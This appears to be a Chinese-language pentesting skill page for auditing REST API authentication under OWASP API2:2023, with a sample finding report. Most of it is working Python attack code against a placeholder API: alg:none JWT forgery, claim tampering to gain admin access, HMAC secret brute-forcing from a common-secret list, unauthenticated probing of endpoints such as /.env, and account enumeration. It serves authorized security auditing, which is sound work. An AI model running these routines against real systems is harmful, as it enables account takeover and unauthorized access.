Tests API authentication weaknesses including token validation failures, unprotected endpoints, JWT flaws, credential risks, and session defects. Useful for REST API security audits per OWASP API2:2023.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在生产部署前评估REST API认证机制是否存在绕过漏洞
Tests API authentication for OWASP API2:2023 Broken Authentication issues like JWT flaws, missing endpoint protection, token leakage, weak passwords, and session weaknesses.
Tests API authentication mechanisms for weaknesses like broken JWT validation, missing endpoint auth, weak passwords, credential stuffing, token leakage, and session flaws. Maps to OWASP API2:2023.
Evaluates JWT implementations for crypto weaknesses, none algorithm attacks, RS256-to-HS256 confusion, and auth bypasses during authorized web app pentests.
Share bugs, ideas, or general feedback.
不适用于未获书面授权的情况。认证测试涉及尝试绕过安全控制。
requests、PyJWT 和 jwt 库import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
# 探测API以识别认证机制
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
# 测试1:检查未认证访问
resp = requests.get(f"{BASE_URL}/users/me")
print(f"未认证访问: {resp.status_code}")
if resp.status_code == 200:
print("[严重] 端点无需认证即可访问")
# 测试2:检查WWW-Authenticate头
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"公告的认证方案: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
# 测试3:登录并检查令牌
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": "testuser@example.com", "password": "TestPass123!"})
if login_resp.status_code == 200:
login_data = login_resp.json()
# 检查JWT令牌
for key in ["token", "access_token", "jwt", "id_token"]:
if key in login_data:
token = login_data[key]
if token.count('.') == 2:
auth_indicators["jwt_bearer"] = True
print(f"在响应字段中发现JWT: {key}")
# 检查刷新令牌
for key in ["refresh_token", "refresh"]:
if key in login_data:
print(f"在字段中发现刷新令牌: {key}")
# 检查会话Cookie
for cookie in login_resp.cookies:
print(f"设置Cookie: {cookie.name} = {cookie.value[:20]}...")
if "session" in cookie.name.lower():
auth_indicators["session_cookie"] = True
print(f"\n检测到的认证机制: {[k for k,v in auth_indicators.items() if v]}")
# 不带认证测试所有端点
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("未认证端点扫描:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not in (401, 403):
content_preview = resp.text[:100] if resp.text else "empty"
print(f" [开放] {method} {path} -> {resp.status_code}: {content_preview}")
except requests.exceptions.RequestException:
pass
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""不验证签名地解码JWT头部和载荷。"""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
# 分析JWT令牌
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT头部: {json.dumps(header, indent=2)}")
print(f"JWT载荷: {json.dumps(payload, indent=2)}")
# 安全检查
issues = []
# 检查1:算法
if header.get("alg") == "none":
issues.append("严重: 算法设置为'none' - 令牌签名未验证")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("信息: 使用对称算法 - 检查弱密钥/默认密钥")
# 检查2:过期时间
if "exp" not in payload:
issues.append("高: 无过期声明(exp) - 令牌永不过期")
else:
import time
exp_time = payload["exp"]
ttl = exp_time - time.time()
if ttl > 86400:
issues.append(f"中: 令牌TTL为{ttl/3600:.0f}小时 - 时间过长")
# 检查3:载荷中的敏感数据
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
if field in payload:
issues.append(f"高: JWT载荷中包含敏感字段'{field}'")
# 检查4:缺少声明
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
issues.append(f"中: 缺少标准声明: {missing}")
# 检查5:密钥ID
if "kid" in header:
kid = header["kid"]
# 测试kid中的路径遍历
issues.append(f"信息: 密钥ID(kid)存在: {kid} - 测试是否可注入")
for issue in issues:
print(f" [{issue.split(':')[0]}] {issue}")
# 攻击1:移除签名(alg: none)
def forge_none_algorithm(token):
"""创建带alg:none的令牌以绕过签名验证。"""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
# none算法的多种变体
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
# 攻击2:不重新签名地修改声明
def forge_payload(token, modifications):
"""修改载荷声明并测试服务器是否验证签名。"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
# 攻击3:暴力破解弱HMAC密钥
COMMON_JWT_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "test", "admin", "changeme", "default",
"your-256-bit-secret", "my-secret-key", "jwt-secret",
"s3cr3t", "secret123", "mysecretkey", "apisecret",
]
def brute_force_jwt_secret(token):
"""尝试使用常见密钥破解HMAC签名的JWT。"""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
print("非HMAC令牌,跳过暴力破解")
return None
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
hash_func = {
'HS256': hashlib.sha256,
'HS384': hashlib.sha384,
'HS512': hashlib.sha512
}[header['alg']]
for secret in COMMON_JWT_SECRETS:
expected_sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip('=')
if expected_sig == signature:
print(f"[严重] 发现JWT密钥: '{secret}'")
return secret
print("未匹配到常见密钥 - 考虑使用hashcat/john进行扩展暴力破解")
return None
# 测试所有攻击
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {none_token}"})
if resp.status_code == 200:
print(f"[严重] alg:none绕过成功")
# 测试通过声明修改提升权限
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
print("[严重] JWT声明修改被接受,未验证签名")
brute_force_jwt_secret(token)
# 测试1:注销后令牌重用
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
headers={"Authorization": f"Bearer {token}"})
print(f"注销: {logout_resp.status_code}")
# 注销后尝试使用令牌
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
print("[高] 注销后令牌仍有效 - 无服务端吊销机制")
# 测试2:密码更改后令牌重用
# (需要更改密码后测试旧令牌)
# 测试3:刷新令牌轮换
refresh_token = login_data.get("refresh_token")
if refresh_token:
# 使用刷新令牌
refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
new_tokens = refresh_resp.json()
# 尝试重用同一刷新令牌(如已实现轮换则应失败)
reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
if reuse_resp.status_code == 200:
print("[高] 刷新令牌可重用 - 未实现轮换机制")
# 测试4:URL中的令牌(泄露风险)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
print("[中] 令牌在查询参数中被接受 - 可能泄露在日志/Referer中")
# 在注册/更改端点测试密码策略执行
weak_passwords = [
"a", # 太短
"password", # 常见密码
"12345678", # 仅数字
"abcdefgh", # 仅字母,无复杂度
"Password1", # 符合基本复杂度但常见
"", # 空密码
" ", # 空格
]
for pwd in weak_passwords:
resp = requests.post(f"{BASE_URL}/auth/register",
json={"email": f"test_{hash(pwd)%9999}@example.com",
"password": pwd, "name": "Test User"})
if resp.status_code in (200, 201):
print(f"[弱策略] 密码被接受: '{pwd}'")
# 通过登录响应差异测试账户枚举
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"
resp_valid = requests.post(f"{BASE_URL}/auth/login",
json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
json={"username": invalid_email, "password": "wrongpassword"})
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
print(f"[中] 可进行账户枚举:")
print(f" 有效用户: {resp_valid.status_code} - {resp_valid.text[:100]}")
print(f" 无效用户: {resp_invalid.status_code} - {resp_invalid.text[:100]}")
| 术语 | 定义 |
|---|---|
| 认证失效(Broken Authentication) | OWASP API2:2023 - 认证机制中的弱点,允许攻击者假冒合法用户身份 |
| JWT(JSON Web Token) | 包含header.payload.signature结构的自包含令牌格式,用于无状态API认证 |
| 令牌吊销(Token Revocation) | 在令牌过期前使其失效的服务端机制,对注销和密码更改至关重要 |
| 凭据填充(Credential Stuffing) | 使用泄露的用户名/密码对,对认证端点进行自动化攻击 |
| 账户枚举(Account Enumeration) | 通过对有效/无效账户的不同错误消息或响应时间来确定有效用户名 |
| 刷新令牌轮换(Refresh Token Rotation) | 每次使用刷新令牌时生成新令牌的安全做法,防止令牌重用攻击 |
背景:某SaaS平台使用JWT令牌进行API认证。JWT在登录时签发,用于所有后续API调用。同时实现了刷新令牌机制。
方法:
/health和/metrics端点无需认证即可访问注意事项:
## 发现:JWT HMAC密钥可暴力破解且令牌不可吊销
**ID**: API-AUTH-001
**严重性**: 严重(CVSS 9.1)
**OWASP API**: API2:2023 - 认证失效
**受影响组件**:
- POST /api/v1/auth/login(令牌签发)
- 所有认证端点(令牌验证)
- POST /api/v1/auth/logout(无效)
**描述**:
该API使用HS256签名的JWT令牌,密钥可暴力破解
("company-jwt-secret-2023")。发现密钥的攻击者可以
为任意用户(包括管理员)伪造令牌。此外,令牌不可吊销——
注销不会使令牌在服务端失效,7天过期时间意味着被盗令牌
在较长时间内保持有效。
**攻击链**:
1. 从已认证会话捕获任意有效JWT
2. 使用hashcat暴力破解HMAC密钥: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. 3分钟内恢复密钥: "company-jwt-secret-2023"
4. 伪造管理员JWT: 将"role"声明修改为"admin",用发现的密钥重新签名
5. 访问管理端点: GET /api/v1/admin/users 返回所有50,000个用户账户
**修复建议**:
1. 使用2048位RSA密钥对将HS256替换为RS256
2. 如必须使用HMAC,则使用至少256位的密码学随机密钥
3. 使用Redis实现令牌黑名单,处理注销和密码更改事件
4. 将令牌TTL缩短至15分钟,并实现刷新令牌轮换
5. 添加`iss`和`aud`声明验证,防止令牌跨服务被滥用